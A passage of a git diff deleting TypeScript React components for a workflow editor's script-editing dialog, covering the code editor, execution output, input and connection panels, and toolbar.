-                            className="h-full rounded-r-md border-l border-l-border/50"
-                            onClose={handleCopilotClose}
-                            open={copilotPanelOpen}
-                        />
-                    )}
-                </DialogContent>
-            </Dialog>
-
-            <UnsavedChangesAlertDialog
-                onCancel={handleUnsavedChangesAlertDialogCancel}
-                onClose={handleUnsavedChangesAlertDialogClose}
-                open={unsavedChangesAlertDialogOpen}
-            />
-        </>
-    );
-};
-
-export default PropertyCodeEditorDialog;
diff --git a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/PropertyCodeEditorDialogEditor.tsx b/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/PropertyCodeEditorDialogEditor.tsx
deleted file mode 100644
index ec20ae2ab2d..00000000000
--- a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/PropertyCodeEditorDialogEditor.tsx
+++ /dev/null
@@ -1,35 +0,0 @@
-import {usePropertyCodeEditorDialogStore} from '@/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/stores/usePropertyCodeEditorDialogStore';
-import MonacoEditorLoader from '@/shared/components/MonacoEditorLoader';
-import {Suspense, lazy} from 'react';
-import {useShallow} from 'zustand/react/shallow';
-
-const MonacoEditor = lazy(() => import('@/shared/components/MonacoEditorWrapper'));
-
-interface PropertyCodeEditorDialogEditorProps {
-    language: string;
-}
-
-const PropertyCodeEditorDialogEditor = ({language}: PropertyCodeEditorDialogEditorProps) => {
-    const {editorValue, setEditorValue} = usePropertyCodeEditorDialogStore(
-        useShallow((state) => ({
-            editorValue: state.editorValue,
-            setEditorValue: state.setEditorValue,
-        }))
-    );
-
-    return (
-        <Suspense fallback={<MonacoEditorLoader />}>
-            <MonacoEditor
-                className="size-full"
-                defaultLanguage={language}
-                onChange={(value) => setEditorValue(value)}
-                onMount={(editor) => {
-                    editor.focus();
-                }}
-                value={editorValue}
-            />
-        </Suspense>
-    );
-};
-
-export default PropertyCodeEditorDialogEditor;
diff --git a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/PropertyCodeEditorDialogExecutionOutput.tsx b/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/PropertyCodeEditorDialogExecutionOutput.tsx
deleted file mode 100644
index ce9e5d832e1..00000000000
--- a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/PropertyCodeEditorDialogExecutionOutput.tsx
+++ /dev/null
@@ -1,74 +0,0 @@
-import LoadingDots from '@/components/LoadingDots';
-import {usePropertyCodeEditorDialogStore} from '@/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/stores/usePropertyCodeEditorDialogStore';
-import {RefreshCwIcon} from 'lucide-react';
-import {Suspense, lazy} from 'react';
-import {useShallow} from 'zustand/react/shallow';
-
-const ReactJson = lazy(() => import('react-json-view'));
-
-const PropertyCodeEditorDialogExecutionOutput = () => {
-    const {scriptIsRunning, scriptTestExecution} = usePropertyCodeEditorDialogStore(
-        useShallow((state) => ({
-            scriptIsRunning: state.scriptIsRunning,
-            scriptTestExecution: state.scriptTestExecution,
-        }))
-    );
-
-    const renderContent = () => {
-        if (scriptIsRunning) {
-            return (
-                <div className="flex items-center gap-x-1">
-                    <span className="flex animate-spin text-gray-400">
-                        <RefreshCwIcon className="size-4" />
-                    </span>
-
-                    <span className="text-muted-foreground">Script is running...</span>
-                </div>
-            );
-        }
-
-        if (!scriptTestExecution) {
-            return (
-                <div className="flex items-center gap-x-1 text-muted-foreground">
-                    <span>The script has not yet been executed.</span>
-                </div>
-            );
-        }
-
-        if (scriptTestExecution.output) {
-            const output = scriptTestExecution.output as Record<string, unknown>;
-
-            const keys = Object.keys(output);
-
-            const unwrappedOutput = keys.length === 1 && keys[0] === 'value' ? output.value : output;
-
-            if (typeof unwrappedOutput === 'object' && unwrappedOutput !== null) {
-                return (
-                    <Suspense fallback={<LoadingDots />}>
-                        <ReactJson enableClipboard={false} sortKeys={true} src={unwrappedOutput as object} />
-                    </Suspense>
-                );
-            }
-
-            return <pre className="mt-2 text-xs">{String(unwrappedOutput)}</pre>;
-        }
-
-        if (scriptTestExecution.error) {
-            return (
-                <div className="space-y-4">
-                    <div className="space-y-2">
-                        <div className="font-semibold text-destructive">Error</div>
-
-                        <div>{scriptTestExecution.error.message}</div>
-                    </div>
-                </div>
-            );
-        }
-
-        return <span className="text-muted-foreground">No defined output.</span>;
-    };
-
-    return <div className="relative size-full overflow-y-auto p-4 text-sm">{renderContent()}</div>;
-};
-
-export default PropertyCodeEditorDialogExecutionOutput;
diff --git a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/PropertyCodeEditorDialogRightPanel.tsx b/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/PropertyCodeEditorDialogRightPanel.tsx
deleted file mode 100644
index e9e8a71da6c..00000000000
--- a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/PropertyCodeEditorDialogRightPanel.tsx
+++ /dev/null
@@ -1,104 +0,0 @@
-import PropertyCodeEditorDialogRightPanelConnections from '@/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/PropertyCodeEditorDialogRightPanelConnections';
-import PropertyCodeEditorDialogRightPanelInput from '@/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/PropertyCodeEditorDialogRightPanelInput';
-import useWorkflowEditorStore from '@/pages/platform/workflow-editor/stores/useWorkflowEditorStore';
-import useWorkflowNodeDetailsPanelStore from '@/pages/platform/workflow-editor/stores/useWorkflowNodeDetailsPanelStore';
-import {
-    useClusterElementComponentConnectionsQuery,
-    useClusterElementScriptInputQuery,
-    useWorkflowNodeComponentConnectionsQuery,
-    useWorkflowNodeScriptInputQuery,
-} from '@/shared/middleware/graphql';
-import {Workflow} from '@/shared/middleware/platform/configuration';
-import {useEnvironmentStore} from '@/shared/stores/useEnvironmentStore';
-import {useShallow} from 'zustand/react/shallow';
-
-interface PropertyCodeEditorDialogConnectionsSheetRightPanelProps {
-    workflow: Workflow;
-    workflowNodeName: string;
-}
-
-const PropertyCodeEditorDialogRightPanel = ({
-    workflow,
-    workflowNodeName,
-}: PropertyCodeEditorDialogConnectionsSheetRightPanelProps) => {
-    const currentEnvironmentId = useEnvironmentStore((state) => state.currentEnvironmentId);
-    const currentNode = useWorkflowNodeDetailsPanelStore((state) => state.currentNode);
-    const rootClusterElementNodeData = useWorkflowEditorStore(useShallow((state) => state.rootClusterElementNodeData));
-
-    const isClusterElement = currentNode?.clusterElementType && rootClusterElementNodeData?.workflowNodeName;
-
-    const {data: clusterElementScriptInputData} = useClusterElementScriptInputQuery(
-        {
-            clusterElementType: currentNode?.clusterElementType ?? '',
-            clusterElementWorkflowNodeName: currentNode?.name ?? '',
-            environmentId: currentEnvironmentId!,
-            workflowId: workflow.id!,
-            workflowNodeName: rootClusterElementNodeData?.workflowNodeName ?? '',
-        },
-        {
-            enabled: !!isClusterElement && currentEnvironmentId != null && !!workflow.id,
-        }
-    );
-
-    const {data: workflowNodeScriptInputData} = useWorkflowNodeScriptInputQuery(
-        {
-            environmentId: currentEnvironmentId!,
-            workflowId: workflow.id!,
-            workflowNodeName,
-        },
-        {
-            enabled: !isClusterElement && currentEnvironmentId != null && !!workflow.id,
-        }
-    );
-
-    const clusterElementConnectionsQueryEnabled = !!isClusterElement && !!workflow.id;
-    const workflowNodeConnectionsQueryEnabled = !isClusterElement && !!workflow.id;
-
-    const {data: clusterElementComponentConnectionsData} = useClusterElementComponentConnectionsQuery(
-        {
-            clusterElementType: currentNode?.clusterElementType ?? '',
-            clusterElementWorkflowNodeName: currentNode?.name ?? '',
-            workflowId: workflow.id!,
-            workflowNodeName: rootClusterElementNodeData?.workflowNodeName ?? '',
-        },
-        {
-            enabled: clusterElementConnectionsQueryEnabled,
-        }
-    );
-
-    const {data: workflowNodeComponentConnectionsData} = useWorkflowNodeComponentConnectionsQuery(
-        {
-            workflowId: workflow.id!,
-            workflowNodeName,
-        },
-        {
-            enabled: workflowNodeConnectionsQueryEnabled,
-        }
-    );
-
-    const input = isClusterElement
-        ? (clusterElementScriptInputData?.clusterElementScriptInput ?? {})
-        : (workflowNodeScriptInputData?.workflowNodeScriptInput ?? {});
-
-    const componentConnections = isClusterElement
-        ? (clusterElementComponentConnectionsData?.clusterElementComponentConnections ?? [])
-        : (workflowNodeComponentConnectionsData?.workflowNodeComponentConnections ?? []);
-
-    return (
-        <div className="flex w-96 flex-col divide-y divide-solid divide-muted border-l border-l-border/50">
-            <div className="flex-1">
-                <PropertyCodeEditorDialogRightPanelInput input={input} />
-            </div>
-
-            <div className="flex-1">
-                <PropertyCodeEditorDialogRightPanelConnections
-                    componentConnections={componentConnections}
-                    workflow={workflow}
-                    workflowNodeName={workflowNodeName}
-                />
-            </div>
-        </div>
-    );
-};
-
-export default PropertyCodeEditorDialogRightPanel;
diff --git a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/PropertyCodeEditorDialogRightPanelConnections.tsx b/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/PropertyCodeEditorDialogRightPanelConnections.tsx
deleted file mode 100644
index 7cf981d97df..00000000000
--- a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/PropertyCodeEditorDialogRightPanelConnections.tsx
+++ /dev/null
@@ -1,141 +0,0 @@
-import Button from '@/components/Button/Button';
-import {Card, CardContent, CardHeader, CardTitle} from '@/components/ui/card';
-import PropertyCodeEditorDialogRightPanelConnectionsLabel from '@/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/PropertyCodeEditorDialogRightPanelConnectionsLabel';
-import PropertyCodeEditorDialogRightPanelConnectionsPopover from '@/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/PropertyCodeEditorDialogRightPanelConnectionsPopover';
-import PropertyCodeEditorDialogRightPanelConnectionsSelect from '@/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/PropertyCodeEditorDialogRightPanelConnectionsSelect';
-import {usePropertyCodeEditorDialogRightPanelConnections} from '@/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/hooks/usePropertyCodeEditorDialogRightPanelConnections';
-import ConnectionDialog from '@/shared/components/connection/ConnectionDialog';
-import {ComponentConnection, Workflow} from '@/shared/middleware/platform/configuration';
-import {LinkIcon, XIcon} from 'lucide-react';
-
-const PropertyCodeEditorDialogRightPanelConnections = ({
-    componentConnections,
-    workflow,
-    workflowNodeName,
-}: {
-    componentConnections: ComponentConnection[];
-    workflow: Workflow;
-    workflowNodeName: string;
-}) => {
-    const {
-        ConnectionKeys,
-        componentDefinitions,
-        handleCloseConnectionNote,
-        handleOnRemoveClick,
-        handleOnSubmit,
-        setShowNewConnectionDialog,
-        showConnectionNote,
-        showNewConnectionDialog,
-        useCreateConnectionMutation,
-        useGetConnectionTagsQuery,
-        workflowTestConfigurationConnections,
-    } = usePropertyCodeEditorDialogRightPanelConnections({
-        componentConnections,
-        workflow,
-        workflowNodeName,
-    });
-
-    return (
-        <Card className="border-none shadow-none">
-            <CardContent className="px-4">
-                <CardHeader className="px-0 py-4">
-                    <CardTitle>Connections</CardTitle>
-                </CardHeader>
-
-                {componentConnections?.length ? (
-                    <>
-                        {componentConnections.map((workflowConnection) => {
-                            const workflowTestConfigurationConnection =
-                                workflowTestConfigurationConnections &&
-                                workflowTestConfigurationConnections.length > 0 &&
-                                workflowTestConfigurationConnections
-                                    ? workflowTestConfigurationConnections.filter(
-                                          (workflowTestConfigurationConnection) =>
-                                              workflowTestConfigurationConnection.workflowConnectionKey ===
-                                              workflowConnection.key
-                                      )[0]
-                                    : undefined;
-
-                            return (
-                                <fieldset className="space-y-2" key={workflowConnection.key}>
-                                    <PropertyCodeEditorDialogRightPanelConnectionsLabel
-                                        componentConnection={workflowConnection}
-                                        onRemoveClick={() => handleOnRemoveClick(workflowConnection.key)}
-                                    />
-
-                                    <PropertyCodeEditorDialogRightPanelConnectionsSelect
-                                        componentConnection={workflowConnection}
-                                        workflowId={workflow.id!}
-                                        workflowNodeName={workflowNodeName}
-                                        workflowTestConfigurationConnection={workflowTestConfigurationConnection}
-                                    />
-                                </fieldset>
-                            );
-                        })}
-
-                        <div className="mt-3 flex justify-end">
-                            <PropertyCodeEditorDialogRightPanelConnectionsPopover onSubmit={handleOnSubmit} />
-                        </div>
-                    </>
-                ) : (
-                    <div className="flex flex-1 flex-col items-center">
-                        <div className="mt-16 w-full place-self-center px-2 3xl:mx-auto 3xl:w-4/5">
-                            <div className="text-center">
-                                <span className="mx-auto inline-block">
-                                    <LinkIcon className="size-6 text-gray-400" />
-                                </span>
-
-                                <h3 className="mt-2 text-sm font-semibold">No defined components</h3>
-
-                                <p className="mt-1 text-sm text-gray-500">
-                                    You have not defined any component and its connection to use inside this script yet.
-                                </p>
-
-                                <div className="mt-6">
-                                    <PropertyCodeEditorDialogRightPanelConnectionsPopover
-                                        onSubmit={handleOnSubmit}
-                                        triggerNode={<Button label="Add Component" />}
-                                    />
-                                </div>
-                            </div>
-                        </div>
-
-                        {showConnectionNote && (
-                            <div className="mt-4 flex flex-col rounded-md bg-amber-100 p-4 text-gray-800">
-                                <div className="flex items-center pb-2">
-                                    <span className="font-medium">Note</span>
-
-                                    <Button
-                                        className="ml-auto hover:bg-transparent active:bg-transparent active:text-content-neutral-primary"
-                                        icon={<XIcon aria-hidden="true" />}
-                                        onClick={handleCloseConnectionNote}
-                                        size="iconXs"
-                                        title="Close the note"
-                                        variant="ghost"
-                                    />
-                                </div>
-
-                                <p className="text-sm text-gray-800">
-                                    The selected connections are used for testing purposes only.
-                                </p>
-                            </div>
-                        )}
-                    </div>
-                )}
-
-                {showNewConnectionDialog && componentDefinitions && (
-                    <ConnectionDialog
-                        componentDefinitions={componentDefinitions}
-                        connectionTagsQueryKey={ConnectionKeys!.connectionTags}
-                        connectionsQueryKey={ConnectionKeys!.connections}
-                        onClose={() => setShowNewConnectionDialog(false)}
-                        useCreateConnectionMutation={useCreateConnectionMutation}
-                        useGetConnectionTagsQuery={useGetConnectionTagsQuery!}
-                    />
-                )}
-            </CardContent>
-        </Card>
-    );
-};
-
-export default PropertyCodeEditorDialogRightPanelConnections;
diff --git a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/PropertyCodeEditorDialogRightPanelConnectionsLabel.tsx b/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/PropertyCodeEditorDialogRightPanelConnectionsLabel.tsx
deleted file mode 100644
index 8f6b5e75811..00000000000
--- a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/PropertyCodeEditorDialogRightPanelConnectionsLabel.tsx
+++ /dev/null
@@ -1,51 +0,0 @@
-import Button from '@/components/Button/Button';
-import RequiredMark from '@/components/RequiredMark';
-import {Label} from '@/components/ui/label';
-import {Tooltip, TooltipContent, TooltipTrigger} from '@/components/ui/tooltip';
-import {ComponentConnection} from '@/shared/middleware/platform/configuration';
-
-import usePropertyCodeEditorDialogRightPanelConnectionsLabel from './hooks/usePropertyCodeEditorDialogRightPanelConnectionsLabel';
-
-export interface PropertyCodeEditorDialogRightPanelConnectionsLabelProps {
-    componentConnection: ComponentConnection;
-    onRemoveClick: () => void;
-}
-
-const PropertyCodeEditorDialogRightPanelConnectionsLabel = ({
-    componentConnection,
-    onRemoveClick,
-}: PropertyCodeEditorDialogRightPanelConnectionsLabelProps) => {
-    const {componentDefinition} = usePropertyCodeEditorDialogRightPanelConnectionsLabel({componentConnection});
-
-    return (
-        <div className="flex items-center justify-between">
-            <div className="space-x-1">
-                {componentDefinition && (
-                    <Label>
-                        <span>{componentDefinition?.title}</span>
-
-                        {componentConnection.required && <RequiredMark />}
-                    </Label>
-                )}
-
-                <Tooltip>
-                    <TooltipTrigger>
-                        <Label className="text-sm text-muted-foreground">{componentConnection.key}</Label>
-                    </TooltipTrigger>
-
-                    <TooltipContent>Workflow Connection Key</TooltipContent>
-                </Tooltip>
-            </div>
-
-            <Button
-                className="px-0 text-content-destructive-primary hover:text-content-destructive-primary active:text-content-destructive-primary"
-                label="Remove"
-                onClick={onRemoveClick}
-                size="sm"
-                variant="link"
-            />
-        </div>
-    );
-};
-
-export default PropertyCodeEditorDialogRightPanelConnectionsLabel;
diff --git a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/PropertyCodeEditorDialogRightPanelConnectionsPopover.tsx b/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/PropertyCodeEditorDialogRightPanelConnectionsPopover.tsx
deleted file mode 100644
index 6d6c63dc14c..00000000000
--- a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/PropertyCodeEditorDialogRightPanelConnectionsPopover.tsx
+++ /dev/null
@@ -1,126 +0,0 @@
-import Button from '@/components/Button/Button';
-import ComboBox from '@/components/ComboBox';
-import {Form, FormControl, FormField, FormItem, FormLabel, FormMessage} from '@/components/ui/form';
-import {Input} from '@/components/ui/input';
-import {Popover, PopoverContent, PopoverTrigger} from '@/components/ui/popover';
-import {ComponentDefinitionBasic} from '@/shared/middleware/platform/configuration';
-import {PopoverClose} from '@radix-ui/react-popover';
-import {XIcon} from 'lucide-react';
-import {ReactNode} from 'react';
-import {z} from 'zod';
-
-import usePropertyCodeEditorDialogRightPanelConnectionsPopover from './hooks/usePropertyCodeEditorDialogRightPanelConnectionsPopover';
-
-export const connectionFormSchema = z.object({
-    componentName: z.string(),
-    componentVersion: z.number(),
-    name: z.string().min(2, {
-        message: 'Name must be at least 3 characters.',
-    }),
-});
-
-export interface PropertyCodeEditorDialogRightPanelConnectionsPopoverProps {
-    onSubmit: (values: z.infer<typeof connectionFormSchema>) => void;
-    triggerNode?: ReactNode;
-}
-
-const PropertyCodeEditorDialogRightPanelConnectionsPopover = ({
-    onSubmit,
-    triggerNode,
-}: PropertyCodeEditorDialogRightPanelConnectionsPopoverProps) => {
-    const {componentDefinitions, form, open, setOpen} = usePropertyCodeEditorDialogRightPanelConnectionsPopover();
-
-    return (
-        <Popover onOpenChange={setOpen} open={open}>
-            <PopoverTrigger asChild>
-                {triggerNode ? triggerNode : <Button label="Add Component" size="sm" variant="secondary" />}
-            </PopoverTrigger>
-
-            <PopoverContent align="end" className="min-w-property-code-editor-sheet-connections-sheet-width">
-                <header className="flex items-center justify-between">
-                    <span className="font-medium">Add Component</span>
-
-                    <PopoverClose asChild onClick={() => form.reset()}>
-                        <XIcon aria-hidden="true" className="size-4 cursor-pointer" />
-                    </PopoverClose>
-                </header>
-
-                <Form {...form}>
-                    <form
-                        onSubmit={form.handleSubmit((values) => {
-                            onSubmit(values);
-                            setOpen(false);
-                            form.reset();
-                        })}
-                    >
-                        <main className="my-2 space-y-4">
-                            <FormField
-                                control={form.control}
-                                name="name"
-                                render={({field}) => (
-                                    <FormItem>
-                                        <FormLabel>Name</FormLabel>
-
-                                        <FormControl>
-                                            <Input {...field} />
-                                        </FormControl>
-
-                                        <FormMessage />
-                                    </FormItem>
-                                )}
-                                rules={{required: true}}
-                            />
-
-                            <FormField
-                                control={form.control}
-                                name="componentName"
-                                render={({field}) => (
-                                    <FormItem>
-                                        <FormLabel>Component</FormLabel>
-
-                                        <FormControl>
-                                            {componentDefinitions && (
-                                                <ComboBox
-                                                    items={componentDefinitions.map((componentDefinition) => ({
-                                                        componentDefinition,
-                                                        icon: componentDefinition.icon,
-                                                        label: componentDefinition.title!,
-                                                        value: componentDefinition.name,
-                                                    }))}
-                                                    name="componentName"
-                                                    onBlur={field.onBlur}
-                                                    onChange={(item) => {
-                                                        const componentDefinition =
-                                                            item?.componentDefinition as ComponentDefinitionBasic;
-
-                                                        form.setValue('componentName', componentDefinition.name, {
-                                                            shouldDirty: true,
-                                                        });
-
-                                                        form.setValue('componentVersion', componentDefinition.version, {
-                                                            shouldDirty: true,
-                                                        });
-                                                    }}
-                                                    value={field.value}
-                                                />
-                                            )}
-                                        </FormControl>
-
-                                        <FormMessage />
-                                    </FormItem>
-                                )}
-                                rules={{required: true}}
-                            />
-                        </main>
-
-                        <footer className="flex items-center justify-end space-x-2">
-                            <Button label="Add" type="submit" />
-                        </footer>
-                    </form>
-                </Form>
-            </PopoverContent>
-        </Popover>
-    );
-};
-
-export default PropertyCodeEditorDialogRightPanelConnectionsPopover;
diff --git a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/PropertyCodeEditorDialogRightPanelConnectionsSelect.tsx b/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/PropertyCodeEditorDialogRightPanelConnectionsSelect.tsx
deleted file mode 100644
index 23d8a1e8ae7..00000000000
--- a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/PropertyCodeEditorDialogRightPanelConnectionsSelect.tsx
+++ /dev/null
@@ -1,96 +0,0 @@
-import Button from '@/components/Button/Button';
-import {Select, SelectContent, SelectItem, SelectTrigger, SelectValue} from '@/components/ui/select';
-import EnvironmentBadge from '@/shared/components/EnvironmentBadge';
-import ConnectionDialog from '@/shared/components/connection/ConnectionDialog';
-import {ComponentConnection, WorkflowTestConfigurationConnection} from '@/shared/middleware/platform/configuration';
-import {PlusIcon} from 'lucide-react';
-
-import usePropertyCodeEditorDialogRightPanelConnectionsSelect from './hooks/usePropertyCodeEditorDialogRightPanelConnectionsSelect';
-
-export interface PropertyCodeEditorDialogRightPanelConnectionsSelectProps {
-    componentConnection: ComponentConnection;
-    workflowId: string;
-    workflowNodeName: string;
-    workflowTestConfigurationConnection?: WorkflowTestConfigurationConnection;
-}
-
-const PropertyCodeEditorDialogRightPanelConnectionsSelect = ({
-    componentConnection,
-    workflowId,
-    workflowNodeName,
-    workflowTestConfigurationConnection,
-}: PropertyCodeEditorDialogRightPanelConnectionsSelectProps) => {
-    const {
-        ConnectionKeys,
-        componentDefinition,
-        componentDefinitions,
-        connectionId,
-        connections,
-        handleValueChange,
-        setShowNewConnectionDialog,
-        showNewConnectionDialog,
-        useCreateConnectionMutation,
-        useGetConnectionTagsQuery,
-    } = usePropertyCodeEditorDialogRightPanelConnectionsSelect({
-        componentConnection,
-        workflowId,
-        workflowNodeName,
-        workflowTestConfigurationConnection,
-    });
-
-    return (
-        <>
-            <Select
-                onValueChange={(value) => handleValueChange(+value, componentConnection.key)}
-                required={componentConnection.required}
-                value={connectionId ? connectionId.toString() : undefined}
-            >
-                <div className="flex space-x-2">
-                    <SelectTrigger>
-                        <SelectValue placeholder="Choose Connection..." />
-                    </SelectTrigger>
-
-                    <Button
-                        className="mt-auto"
-                        icon={<PlusIcon />}
-                        onClick={() => setShowNewConnectionDialog(true)}
-                        size="icon"
-                        title="Create a new connection"
-                        variant="outline"
-                    />
-                </div>
-
-                <SelectContent>
-                    {connections &&
-                        connections.map((connection) => (
-                            <SelectItem key={connection.id} value={connection.id!.toString()}>
-                                <div className="flex items-center">
-                                    <span className="mr-1">{connection.name}</span>
-
-                                    <span className="text-xs text-gray-500">
-                                        {connection?.tags?.map((tag) => tag.name).join(', ')}
-                                    </span>
-
-                                    <EnvironmentBadge environmentId={connection.environmentId!} />
-                                </div>
-                            </SelectItem>
-                        ))}
-                </SelectContent>
-            </Select>
-
-            {showNewConnectionDialog && componentDefinitions && (
-                <ConnectionDialog
-                    componentDefinition={componentDefinition}
-                    componentDefinitions={componentDefinitions}
-                    connectionTagsQueryKey={ConnectionKeys!.connectionTags}
-                    connectionsQueryKey={ConnectionKeys!.connections}
-                    onClose={() => setShowNewConnectionDialog(false)}
-                    useCreateConnectionMutation={useCreateConnectionMutation}
-                    useGetConnectionTagsQuery={useGetConnectionTagsQuery!}
-                />
-            )}
-        </>
-    );
-};
-
-export default PropertyCodeEditorDialogRightPanelConnectionsSelect;
diff --git a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/PropertyCodeEditorDialogRightPanelInput.tsx b/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/PropertyCodeEditorDialogRightPanelInput.tsx
deleted file mode 100644
index 60a70c081cf..00000000000
--- a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/PropertyCodeEditorDialogRightPanelInput.tsx
+++ /dev/null
@@ -1,72 +0,0 @@
-import Button from '@/components/Button/Button';
-import {Card, CardContent, CardHeader, CardTitle} from '@/components/ui/card';
-import {usePropertyCodeEditorDialogRightPanelInput} from '@/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/hooks/usePropertyCodeEditorDialogRightPanelInput';
-import MonacoEditorLoader from '@/shared/components/MonacoEditorLoader';
-import {RotateCcwIcon} from 'lucide-react';
-import {Suspense, lazy} from 'react';
-
-const MonacoEditor = lazy(() => import('@/shared/components/MonacoEditorWrapper'));
-
-type InputValueType = Record<string, unknown>;
-
-interface PropertyCodeEditorDialogRightPanelInputProps {
-    input: InputValueType;
-}
-
-const PropertyCodeEditorDialogRightPanelInput = ({input}: PropertyCodeEditorDialogRightPanelInputProps) => {
-    const {handleEditorChange, handleReset, hasChanges, jsonValue, parseError} =
-        usePropertyCodeEditorDialogRightPanelInput({input});
-
-    return (
-        <Card className="flex h-full flex-col border-none shadow-none">
-            <CardHeader className="flex flex-row items-center justify-between space-y-0 px-4 py-4">
-                <div className="flex h-5 w-full items-center justify-between">
-                    <CardTitle>Input</CardTitle>
-
-                    {hasChanges && (
-                        <Button
-                            icon={<RotateCcwIcon />}
-                            onClick={handleReset}
-                            size="icon"
-                            title="Reset to original"
-                            variant="ghost"
-                        />
-                    )}
-                </div>
-            </CardHeader>
-
-            <CardContent className="-ml-2 flex min-h-0 flex-1 flex-col pb-4 pl-0 pr-4">
-                {Object.keys(input).length > 0 ? (
-                    <div className="flex min-h-0 flex-1 flex-col">
-                        <div className="min-h-0 flex-1 overflow-hidden" data-testid="input-editor-container">
-                            <Suspense fallback={<MonacoEditorLoader />}>
-                                <MonacoEditor
-                                    className="size-full"
-                                    defaultLanguage="json"
-                                    onChange={handleEditorChange}
-                                    onMount={(editor) => {
-                                        editor.updateOptions({
-                                            folding: true,
-                                            lineNumbers: 'off',
-                                            minimap: {enabled: false},
-                                            scrollBeyondLastLine: false,
-                                        });
-                                    }}
-                                    value={jsonValue}
-                                />
-                            </Suspense>
-                        </div>
-
-                        {parseError && <div className="mt-2 text-sm text-destructive">{parseError}</div>}
-                    </div>
-                ) : (
-                    <div>
-                        <span className="text-sm text-muted-foreground">No defined entries</span>
-                    </div>
-                )}
-            </CardContent>
-        </Card>
-    );
-};
-
-export default PropertyCodeEditorDialogRightPanelInput;
diff --git a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/PropertyCodeEditorDialogToolbar.tsx b/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/PropertyCodeEditorDialogToolbar.tsx
deleted file mode 100644
index d920a5fbba4..00000000000
--- a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/PropertyCodeEditorDialogToolbar.tsx
+++ /dev/null
@@ -1,105 +0,0 @@
-import Button from '@/components/Button/Button';
-import {DialogClose} from '@/components/ui/dialog';
-import {Tooltip, TooltipContent, TooltipTrigger} from '@/components/ui/tooltip';
-import {usePropertyCodeEditorDialogToolbar} from '@/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/hooks';
-import {useFeatureFlagsStore} from '@/shared/stores/useFeatureFlagsStore';
-import {Loader2Icon, PlayIcon, SaveIcon, SparklesIcon, SquareIcon, XIcon} from 'lucide-react';
-
-interface PropertyCodeEditorDialogToolbarProps {
-    language: string;
-    onChange: (value: string | undefined) => void;
-    workflowId: string;
-    workflowNodeName: string;
-}
-
-const PropertyCodeEditorDialogToolbar = ({
-    language,
-    onChange,
-    workflowId,
-    workflowNodeName,
-}: PropertyCodeEditorDialogToolbarProps) => {
-    const {
-        copilotEnabled,
-        dirty,
-        handleCopilotClick,
-        handleRunClick,
-        handleSaveClick,
-        handleStopClick,
-        saving,
-        scriptIsRunning,
-    } = usePropertyCodeEditorDialogToolbar({
-        language,
-        onChange,
-        workflowId,
-        workflowNodeName,
-    });
-
-    const ff_2504 = useFeatureFlagsStore()('ff-2504');
-
-    return (
-        <div className="flex flex-row items-center justify-between space-y-0 border-b border-b-border/50 p-3">
-            <span className="text-lg font-semibold">Edit Script</span>
-
-            <div className="flex items-center gap-1">
-                <Tooltip>
-                    <TooltipTrigger asChild>
-                        <Button
-                            disabled={!dirty || saving}
-                            icon={saving ? <Loader2Icon className="animate-spin" /> : <SaveIcon />}
-                            onClick={handleSaveClick}
-                            size="icon"
-                            type="submit"
-                            variant="ghost"
-                        />
-                    </TooltipTrigger>
-
-                    <TooltipContent>{saving ? 'Saving...' : 'Save current workflow'}</TooltipContent>
-                </Tooltip>
-
-                {!scriptIsRunning && (
-                    <Tooltip>
-                        <TooltipTrigger asChild>
-                            <span tabIndex={0}>
-                                <Button
-                                    disabled={dirty}
-                                    icon={<PlayIcon className="text-success" />}
-                                    onClick={handleRunClick}
-                                    size="icon"
-                                    variant="ghost"
-                                />
-                            </span>
-                        </TooltipTrigger>
-
-                        <TooltipContent>Run the current workflow</TooltipContent>
-                    </Tooltip>
-                )}
-
-                {scriptIsRunning && (
-                    <Button icon={<SquareIcon />} onClick={handleStopClick} size="icon" variant="destructive" />
-                )}
-
